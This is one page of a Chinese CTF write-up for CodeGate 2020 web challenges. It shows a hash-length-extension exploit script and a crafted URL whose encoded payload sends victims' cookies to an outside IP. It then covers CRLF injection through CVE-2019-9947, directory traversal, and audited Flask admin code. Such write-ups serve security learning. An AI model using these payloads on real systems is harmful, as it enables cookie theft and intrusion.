2020 CodeGate Web Writeup

来源:岁月联盟 编辑:猪蛋儿 时间:2020-02-16
url = "http://110.10.147.166/api.php?sig=%s&q=%s"
a = 'body'
b = ''''''
c = ''
exp = '|'+gen_exp(a,b,c)
result = hashpumpy.hashpump(old_sig, old_data, exp, 12)
new_sig = result[0]
new_data = base64.b64encode(result[1])
now_url = url % (new_sig,new_data)
print now_url
得到exp:
http://110.10.147.166/api.php?sig=812ada09f5d2713a436156061126977d&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWaoAAAAAAAAAAAABwAQAAAAAAAHxZbTlrZVE9PSxQR2x0WnlCemNtTTllQ0J2Ym1WeWNtOXlQU0pzYjJOaGRHbHZiaTVvY21WbVBTY3ZMekV3Tmk0eE5DNHhNVFF1TVRJM09qSXpNek0wTHo5alBTY3JaWE5qWVhCbEtHUnZZM1Z0Wlc1MExtTnZiMnRwWlNrN0lnbyss

得到flag:
CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}
0x02 renderer
XFF可控

题目给予了一个路由,尝试访问后发现,XFF可控:

但是fuzz后发现,好像并不能直接利用。
CRLF注入
后续关注到题目给予了dockerfile:
FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi
ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/static
RUN chmod 777 /home/static
RUN mkdir /home/tickets
RUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]
同时注意到其用urllib完成了request功能:

那么尝试使用CVE,探测是否存在CRLF注入:CVE-2019-9947,发现其漏洞范围为2.x ~ 2.7.16刚好符合dockerfile中的版本号,于是进行尝试:
http://[vps-ip]:23333?%0d%0apayload%0d%0apadding

发现确实存在CRLF注入攻击。
进一步尝试,利用CLRF注入,访问题目的whatismyip功能:

发现确实可以进行127.0.0.1的伪造访问,并且可控XFF,但陷入僵局。
目录穿越
赛后得知,题目可以进行目录穿越,进行任意文件下载:
http://58.229.253.144/static../src/app/routes.py
审计代码发现:
@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()
    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
        abort(403)
    if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)
    else:
        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))
            return render_template("admin_local.html", ticket = ticket)
        else:
            return render_template("admin_local.html", ticket = None)
我们可以利用其中代码对log写入内容:
  if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)
而跟进rip,其赋值来自于:
rip = get_real_ip()
跟进函数实现:
def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()
发现可用XFF控制写入log内容。
跟进write_log:
def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip

上一页  [1] [2] [3]  下一页